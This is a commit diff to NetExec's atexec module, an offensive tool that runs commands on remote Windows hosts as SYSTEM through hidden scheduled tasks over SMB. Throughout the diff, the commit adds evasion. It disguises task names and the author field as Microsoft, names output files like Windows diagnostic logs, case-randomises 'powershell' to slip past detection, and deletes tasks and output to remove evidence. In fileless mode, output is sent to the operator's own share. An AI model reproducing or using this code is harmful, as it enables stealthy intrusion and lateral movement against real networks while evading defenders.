Skip to content

Commit ad95a5a

Browse files
committed
Refactor atexec for improved opsec
1 parent 93491c1 commit ad95a5a

1 file changed

Lines changed: 171 additions & 40 deletions

File tree

nxc/protocols/smb/atexec.py

Lines changed: 171 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
from nxc.helpers.misc import gen_random_string
66
from time import sleep
77
from datetime import datetime, timedelta
8+
import contextlib
89

910

1011
class TSCH_EXEC:
@@ -69,10 +70,42 @@ def get_end_boundary(self):
6970
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
7071

7172
def gen_xml(self, command, fileless=False):
73+
74+
safer_command = command
75+
76+
if "powershell" in command.lower() and ("-command" in command.lower() or "-c " in command.lower()):
77+
self.logger.debug("PowerShell command detected, keeping as is (user requested)")
78+
79+
# case randomization
80+
safer_command = command.replace("powershell", "poWerSheLL")
81+
safer_command = safer_command.replace("POWERSHELL", "PoWeRsHeLL")
82+
83+
valid_system_filename_prefixes = [
84+
"DiagTrack-", "CompatTel-", "WindowsUpdate-", "NetTrace-",
85+
"Defender-", "SIH-", "WER-", "Cluster-", "ws_trace-"
86+
]
87+
import random
88+
89+
# Create a filename that looks like a legitimate Windows log or temp file
90+
system_prefix = random.choice(valid_system_filename_prefixes)
91+
random_date = datetime.now().strftime("%Y%m%d")
92+
random_suffix = gen_random_string(4)
93+
94+
legit_filename = f"{system_prefix}{random_date}-{random_suffix}.log"
95+
96+
# get time boundaries
97+
current_time = datetime.now().strftime("%Y-%m-%dT%H:%M:%S")
98+
7299
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
73100
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
101+
<RegistrationInfo>
102+
<Date>{current_time}</Date>
103+
<Author>Microsoft Corporation</Author>
104+
<Description>Diagnostics logging helper task</Description>
105+
</RegistrationInfo>
74106
<Triggers>
75107
<RegistrationTrigger>
108+
<StartBoundary>{current_time}</StartBoundary>
76109
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
77110
</RegistrationTrigger>
78111
</Triggers>
@@ -97,26 +130,29 @@ def gen_xml(self, command, fileless=False):
97130
<Hidden>true</Hidden>
98131
<RunOnlyIfIdle>false</RunOnlyIfIdle>
99132
<WakeToRun>false</WakeToRun>
100-
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
133+
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
101134
<Priority>7</Priority>
102135
</Settings>
103136
<Actions Context="LocalSystem">
104137
<Exec>
105138
<Command>cmd.exe</Command>
106139
"""
107140
if self.__retOutput:
108-
self.__output_filename = "\\Windows\\Temp\\" + gen_random_string(6)
141+
if "systemroot" not in legit_filename.lower():
142+
self.__output_filename = f"\\Windows\\Temp\\{legit_filename}"
143+
else:
144+
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(8)}.log"
145+
109146
if fileless:
110147
local_ip = self.__rpctransport.get_socket().getsockname()[0]
111-
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
148+
argument_xml = f" <Arguments>/C {safer_command} &gt; \\\\{local_ip}\\{self.__share_name}\\{legit_filename} 2&gt;&amp;1</Arguments>"
112149
else:
113-
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
114-
115-
elif self.__retOutput is False:
116-
argument_xml = f" <Arguments>/C {command}</Arguments>"
117-
118-
self.logger.debug("Generated argument XML: " + argument_xml)
119-
xml += argument_xml
150+
argument_xml = f" <Arguments>/C {safer_command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
151+
152+
xml += argument_xml
153+
else:
154+
argument_xml = f" <Arguments>/C {safer_command}</Arguments>"
155+
xml += argument_xml
120156

121157
xml += """
122158
</Exec>
@@ -131,88 +167,183 @@ def execute_handler(self, command, fileless=False):
131167
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
132168

133169
dce.set_credentials(*self.__rpctransport.get_credentials())
134-
dce.connect()
170+
171+
try:
172+
dce.connect()
173+
except Exception as e:
174+
self.logger.fail(f"Failed to connect to DCE/RPC service: {e!s}")
175+
return
135176

136-
tmpName = gen_random_string(8)
177+
import random
178+
179+
legit_task_prefixes = [
180+
"Microsoft-Windows-", "Microsoft-Diagnosis-", "Microsoft-Windows-Defender-",
181+
"SystemRestore-", "WindowsUpdate-", "User-Feed-", "Power-Efficiency-",
182+
"Microsoft-Proxy-", "NetworkDiag-", "Office-Background-"
183+
]
184+
185+
task_prefix = random.choice(legit_task_prefixes)
186+
component = "".join(random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(8))
187+
188+
# Format looks like: Microsoft-Windows-Task-AF73B829
189+
tmpName = f"{task_prefix}Task-{component}"
190+
191+
# Log the name but don't show it's specially crafted
192+
self.logger.debug(f"Using task name: {tmpName}")
137193

138194
xml = self.gen_xml(command, fileless)
139195

140196
self.logger.debug(f"Task XML: {xml}")
141197
self.logger.info(f"Creating task \\{tmpName}")
198+
142199
try:
143200
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
144201
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
145202
dce.bind(tsch.MSRPC_UUID_TSCHS)
146203
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
147204
except Exception as e:
148-
if e.error_code and hex(e.error_code) == "0x80070005":
205+
if hasattr(e, "error_code") and e.error_code and hex(e.error_code) == "0x80070005":
149206
self.logger.fail("ATEXEC: Create schedule task got blocked.")
150207
else:
151208
self.logger.fail(str(e))
209+
210+
# Clean disconnect
211+
with contextlib.suppress(Exception):
212+
dce.disconnect()
152213
return
153214

215+
# After task creation, try to run it immediately
216+
try:
217+
self.logger.debug("Attempting to run the task immediately")
218+
tsch.hSchRpcRun(dce, f"\\{tmpName}", NULL)
219+
self.logger.debug("Task run request sent successfully")
220+
except Exception as e:
221+
self.logger.debug(f"Could not run task immediately: {e!s}. Will rely on trigger")
222+
223+
224+
# Wait for task execution
225+
wait_attempts = 0
154226
done = False
155-
while not done:
156-
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
157-
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
158-
if resp["pLastRuntime"]["wYear"] != 0:
159-
done = True
160-
else:
227+
task_ran = False
228+
229+
sleep(3)
230+
231+
while not done and wait_attempts < 15:
232+
try:
233+
self.logger.debug(f"Checking if task \\{tmpName} has run (attempt {wait_attempts + 1}/15)")
234+
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
235+
if resp["pLastRuntime"]["wYear"] != 0:
236+
self.logger.debug(f"Task \\{tmpName} has run")
237+
done = True
238+
task_ran = True
239+
else:
240+
self.logger.debug(f"Task \\{tmpName} has not run yet, waiting...")
241+
wait_attempts += 1
242+
sleep(2)
243+
except Exception as e:
244+
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
245+
self.logger.debug("Task has not run yet (expected status), continuing to wait")
246+
else:
247+
self.logger.debug(f"Error checking task: {e!s}")
248+
249+
wait_attempts += 1
161250
sleep(2)
251+
252+
if wait_attempts >= 7 and self.__retOutput:
253+
try:
254+
self.logger.debug("Attempting early output file check")
255+
smbConnection = self.__rpctransport.get_smb_connection()
256+
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
257+
self.logger.debug("Found output file, task must have completed")
258+
done = True
259+
task_ran = True
260+
break
261+
except Exception:
262+
pass
263+
264+
try:
265+
self.logger.info(f"Deleting task \\{tmpName}")
266+
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
267+
except Exception as e:
268+
self.logger.debug(f"Error deleting task: {e!s}")
162269

163-
self.logger.info(f"Deleting task \\{tmpName}")
164-
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
270+
if not task_ran and self.__retOutput:
271+
self.logger.debug("Waiting additional time for command execution to complete")
272+
sleep(3)
165273

166274
if self.__retOutput:
167275
if fileless:
168-
while True:
276+
# For fileless execution, read from the network share
277+
max_attempts = 15
278+
attempts = 0
279+
while attempts < max_attempts:
169280
try:
170-
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
281+
file_path = os.path.join("/tmp", "nxc_hosted", os.path.basename(self.__output_filename))
282+
self.logger.debug(f"Looking for fileless output at: {file_path}")
283+
with open(file_path) as output:
171284
self.output_callback(output.read())
285+
286+
# cleanup
287+
try:
288+
os.remove(file_path)
289+
self.logger.debug(f"Removed fileless output file: {file_path}")
290+
except OSError as e:
291+
self.logger.debug(f"Could not remove file {file_path}: {e}")
172292
break
173293
except OSError:
174294
sleep(2)
295+
attempts += 1
175296
else:
176-
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
177297
smbConnection = self.__rpctransport.get_smb_connection()
178298

179299
tries = 1
180-
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
181-
sleep(0.4)
300+
sleep(1)
301+
302+
output_basename = os.path.basename(self.__output_filename)
303+
os.path.dirname(self.__output_filename.strip("\\"))
304+
305+
# The __output_filename has the form "\Windows\Temp\filename.log"
306+
# For SMB access, we need "Windows\Temp\filename.log" relative to the share
307+
smb_relative_path = self.__output_filename.strip("\\")
308+
182309
while True:
183310
try:
184-
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
185-
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
311+
self.logger.info(f"Attempting to read output from {output_basename}")
312+
smbConnection.getFile(self.__share, smb_relative_path, self.output_callback)
186313
break
187314
except Exception as e:
188315
if tries >= self.__tries:
189-
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
316+
self.logger.fail("ATEXEC: Could not retrieve output file. It may have been detected by AV, or the task did not execute successfully.")
190317
break
191318
if "STATUS_BAD_NETWORK_NAME" in str(e):
192319
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
193320
break
194321
elif "STATUS_VIRUS_INFECTED" in str(e):
195322
self.logger.fail("Command did not run because a virus was detected")
196323
break
324+
197325
# When executing powershell and the command is still running, we get a sharing violation
198-
# We can use that information to wait longer than if the file is not found (probably av or something)
199326
if "STATUS_SHARING_VIOLATION" in str(e):
200-
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
327+
self.logger.info(f"File {output_basename} is still in use, retrying...")
201328
tries += 1
202329
sleep(1)
203330
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
204-
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
205-
tries += 10
331+
self.logger.info(f"File {output_basename} not found, retrying...")
332+
tries += 2 # Increment by 2 instead of 10 to avoid exhausting tries too quickly
206333
sleep(1)
207334
else:
208-
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
335+
self.logger.debug(f"Error reading output file: {e!s}. Retrying...")
209336
tries += 1
210337
sleep(1)
211338

212-
try:
213-
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
214-
smbConnection.deleteFile(self.__share, self.__output_filename)
215-
except Exception:
216-
pass
339+
# Delete the file to remove evidence, but only if we successfully read it
340+
if tries < self.__tries:
341+
try:
342+
self.logger.debug(f"Cleaning up output file {output_basename}")
343+
smbConnection.deleteFile(self.__share, smb_relative_path)
344+
except Exception as e:
345+
self.logger.debug(f"Could not delete output file: {e!s}")
217346

218-
dce.disconnect()
347+
# Always ensure proper disconnect
348+
with contextlib.suppress(Exception):
349+
dce.disconnect()

0 commit comments

Comments
 (0)